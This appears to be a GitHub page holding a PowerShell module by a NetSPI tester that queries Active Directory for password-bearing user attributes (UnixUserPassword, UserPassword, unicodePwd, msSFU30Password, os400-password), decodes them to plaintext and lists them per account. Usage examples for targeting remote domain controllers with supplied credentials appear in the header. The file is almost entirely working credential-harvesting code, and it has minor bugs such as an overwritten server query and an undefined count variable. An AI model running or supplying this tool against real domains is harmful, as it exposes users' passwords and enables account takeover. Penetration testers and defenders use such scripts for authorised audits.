-
Notifications
You must be signed in to change notification settings - Fork 105
/
Copy pathGet-AdDecodedPassword.psm1
129 lines (104 loc) · 5.29 KB
/
Get-AdDecodedPassword.psm1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<#
Author: Scott Sutherland (@_nullbind), NetSPI
Version: 0.0.4
Description
This script uses the Active Directory Powershell Module to query Active Directory
for users with the UnixUserPassword, UserPassword, unicodePwd, or msSFU30Password properties
populated. It then decodes those password fields and displays them to the user.
.PARAMETER Server
Specify the domain controller to search for.
Default's to the users current domain.
.PARAMETER Verbose
Verbose Information
This script is based on information shared in the blog below.
Reference: https://www.blackhillsinfosec.com/domain-goodness-learned-love-ad-explorer/
Example 1: Run on domain system as domain user.
Get-AdDecodedPassword -Verbose
Example 2: Run on non-domain system and target a remote domain controller with provided credentials
New-PSDrive -PSProvider ActiveDirectory -Name RemoteADS -Root "" -Server a.b.c.d -credential domain\user
cd RemoteADS:
Get-AdDecodedPassword -Verbose
Example 3: Run on non-domain system and target a remote domain controller with provided credentials.
First: runas /netonly /user:domain\user powershell
A new powershell window will be open. In the new powershell we have the token of the user that it will be used for network resources (SMB,LDAP)
Second: Import-Module Get-AdDecodedPassword.psm; Get-AdDecodedPassword -Verbose -Server a.b.c.d
#>
Function Get-AdDecodedPassword
{
[CmdletBinding()]
Param(
[String]
$Server
)
# Import the AD PS module
#Import-Module ActiveDirectory
# Get domain users with populated UnixUserPassword properties
Write-Verbose "Getting list of domain accounts and properties..."
if ($Server -ne $null) {
$EncodedUserPasswords = Get-AdUser -Filter * -Properties * -Server $Server |
Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password
}else{
$EncodedUserPasswords = Get-AdUser -Filter * -Properties * |
Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password
}
$EncodedUserPasswords = Get-AdUser -Filter * -Properties * |
Select-Object samaccountname, description, UnixUserPassword, UserPassword, unicodePwd, msSFU30Name, msSFU30Password, os400-password
# Decode passwords for each user
Write-Verbose "Decoding passwords for each account..."
$DecodedUserPasswords = $EncodedUserPasswords |
ForEach-Object{
# Grab fields and decode password
$SamAccountName = $_.samaccountname
$Description = $_.description
$UnixUserPasswordEnc = $_.UnixUserPassword | ForEach-Object {$_};
if($UnixUserPasswordEnc -notlike ""){
$UnixUserPassword = [System.Text.Encoding]::ASCII.GetString($UnixUserPasswordEnc)
}else{
$UnixUserPassword = ""
}
$os400PasswordEnc = $_.'os400-password' | ForEach-Object {$_};
if($os400PasswordEnc -notlike ""){
$os400Password = [System.Text.Encoding]::ASCII.GetString($os400PasswordEnc)
}else{
$os400Password = ""
}
$UserPasswordEnc = $_.UserPassword | ForEach-Object {$_};
if($UserPasswordEnc -notlike ""){
$UserPassword = [System.Text.Encoding]::ASCII.GetString($UserPasswordEnc)
}else{
$UserPassword = ""
}
$unicodePwdEnc = $_.unicodePwd | ForEach-Object {$_};
if($unicodePwdEnc -notlike ""){
$unicodePwd = [System.Text.Encoding]::ASCII.GetString($unicodePwdEnc)
}else{
$unicodePwd = ""
}
$msSFU30Name = $_.msSFU30Name
$msSFU30PasswordEnc = $_.msSFU30Password | ForEach-Object {$_};
if ($msSFU30PasswordEnc -notlike ""){
$msSFU30Password = [System.Text.Encoding]::ASCII.GetString($msSFU30PasswordEnc)
}else{
$msSFU30Password = ""
}
# Check if any of the password fields are populated
if(($UnixUserPassword) -or ($UserPassword) -or ($msSFU30Password) -or ($unicodePwd)){
# Create object to be returned
$UnixPasswords = New-Object PSObject
$UnixPasswords | add-member Noteproperty SamAccountName $SamAccountName
$UnixPasswords | add-member Noteproperty Description $Description
$UnixPasswords | add-member Noteproperty UnixUserPassword $UnixUserPassword
$UnixPasswords | add-member Noteproperty UserPassword $UserPassword
$UnixPasswords | add-member Noteproperty unicodePwd $unicodePwd
$UnixPasswords | add-member Noteproperty msSFU30Name $msSFU30Name
$UnixPasswords | add-member Noteproperty msSFU30Password $msSFU30Password
$UnixPasswords | add-member Noteproperty os400Password $os400Password # Other info in os400-text, os400-profile, os400-owner, os400-pwdexp
}
# Return object
$UnixPasswords
}
# Display recovered/decoded passwords
$DecodedUserPasswords | Sort-Object SamAccountName -Unique
$FinalCount = $FinalList.Count
write-verbose "Decoded passwords for $FinalCount domain accounts."
}